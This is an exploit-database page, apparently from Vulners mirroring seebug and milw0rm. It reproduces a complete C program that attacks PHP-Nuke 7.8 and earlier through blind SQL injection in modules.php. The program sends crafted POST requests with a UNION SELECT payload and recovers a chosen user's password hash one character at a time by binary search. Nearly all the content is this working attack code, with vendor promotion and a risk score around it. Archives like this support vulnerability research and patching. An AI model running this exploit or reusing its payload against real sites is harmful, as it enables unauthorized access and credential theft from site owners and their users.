Lucene search
K

PHP-Nuke <= 7.8 (modules.php) SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 13 Views

PHP-Nuke <= 7.8 SQL Injection Exploit using modules.ph

Code

                                                /***********************************************
* PHP-Nuke &#60;=7.8 SQL injection exploit
* need MySQL &#62; 4.0
* (c)oded by 1dt.w0lf
* RST/GHC
* http://rst.void.ru
* http://ghc.ru
************************************************/
// tested on 7.8

#include &#60;stdio.h&#62;
#include &#60;string.h&#62;
#include &#60;sys/types.h&#62;
#include &#60;sys/socket.h&#62;
#include &#60;netinet/in.h&#62;
#include &#60;netdb.h&#62;
#include &#60;regex.h&#62;

#define START 47
#define END   103
#define SZ    1024
#define PORT  80
#define PREFIX &#34;nuke_&#34;
#define SQL &#34;name=PHP-Nuke%%207.8%%20Exploit&#39;%%20UNION%%20SELECT%%201,1%%20FROM%%20%susers%%20WHERE%%20user_id=%d%%20AND%%20ascii(substring(user_password,%d,1))%c%d/*&#34;


main (int argc, char **argv) {
 int pos;
 int res = 0;
 char result[33];
	
 if(argc&#60;4)
  {
  printf(&#34;Usage %s [host] [/folder/] [user_id]\n&#34;,argv[0]);
  exit(1);
  }
 
 printf(&#34;PHP-Nuke &#60;= 7.8 SQL injection exploit\n&#34;
         &#34;-------------------------------------\n&#34;
         &#34;[~] Host : %s\n[~] Folder: %s\n&#34;
         &#34;[!] Searching password for user with id : %d\n&#34;
         &#34;[!] Please wait...\n&#34;,argv[1],argv[2],atoi(argv[3]));  
 for(pos=1;pos&#60;33;pos++)
  {	 
  found(argv[1],argv[2],atoi(argv[3]),START,END,pos,&res);  
  sprintf(result+pos-1,&#34;%c&#34;,res);
  if(res == 0) { break; }
  }
 result[33] = &#39;\0&#39;;
 if(strlen(result)&#62;0) printf(&#34;[+] Password: %s\n&#34;,result);
 else printf(&#34;[-] Password not found\n&#34;);
 exit (0);
}

int found(char * host, char * folder, int user_id, int min, int max, int pos, int * res)
 {
 int i;
 int sr = (max - ((max-min)/2));
 if( (max-min) &#60; 6 ) { i=(brute(host,folder,user_id,min,max,pos)); *res = i; }
 else if( (check(host,folder,pos,&#39;&#62;&#39;,sr,user_id)) == 1 ) { found(host,folder,user_id,sr,max,pos,res); }
 else { found(host,folder,user_id,min,sr,pos,res);	} 
 return 0;
 }

int brute(char * host, char * folder, int user_id, int min, int max, int pos)
 {	 
 int i;
 for(i=min-1;i&#60;max+1;i++)
  {
  if((check(host,folder,pos,&#39;=&#39;,i, user_id)) == 1) { return i; }
  }
 return 0;  
 }	 
 
int check(char * host, char * folder, int pos, int chk, int test, int user_id)
 {
 char req[SZ]; 
 char ans[SZ];
 char sql[SZ];
 int sock;
 struct hostent *hp;
 struct sockaddr_in sin;
 regex_t re;
 char *pattern = &#34;Sorry, this Module isn&#39;t active!&#34;;
 
 if( (sock = socket (AF_INET, SOCK_STREAM, 0)) &#60; 0 )
  {
   printf(&#34;[ ERROR ] Can&#39;t create socket!\n&#34;);
   exit(1);
  } 
  
 if( (regcomp( &re, pattern, REG_EXTENDED )) != 0 )
  {
  printf(&#34;[ ERROR ] REG ERROR!\n&#34;);
  exit(1);
  }
  
 bzero(&sin, sizeof(sin));
 sin.sin_family = AF_INET;
 sin.sin_port   = htons(PORT);
 hp = gethostbyname (host);
  
 memcpy ((char *)&sin.sin_addr,hp-&#62;h_addr,hp-&#62;h_length);
 connect (sock, (struct sockaddr *)&sin, sizeof(sin)); 
  
 bzero(req,sizeof(req));
 bzero(ans,sizeof(ans));
 bzero(sql,sizeof(sql));	 
	 
 snprintf(sql,SZ-1,SQL,PREFIX,user_id,pos,chk,test);	 
 
 snprintf(req,SZ-1,&#34;POST %smodules.php HTTP/1.0\n&#34;
                  &#34;Host: %s\n&#34;
                  &#34;Content-Type: application/x-www-form-urlencoded\n&#34;
                  &#34;Content-Length: %d\n\n&#34;
                  &#34;%s\n\n\n&#34;,
                  folder,
				  host,
                  strlen(sql),
                  sql);
 
 write(sock, req, strlen(req));

 while( (read(sock, &ans, SZ-1)) &#62; 0 )
  {
  if( (regexec( &re, ans, 0, NULL, 0)) == 0) { return 0; }
  bzero(ans,sizeof(ans));
  } 
 close (sock); 
 return 1;	 
 }

// milw0rm.com [2005-09-16]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
13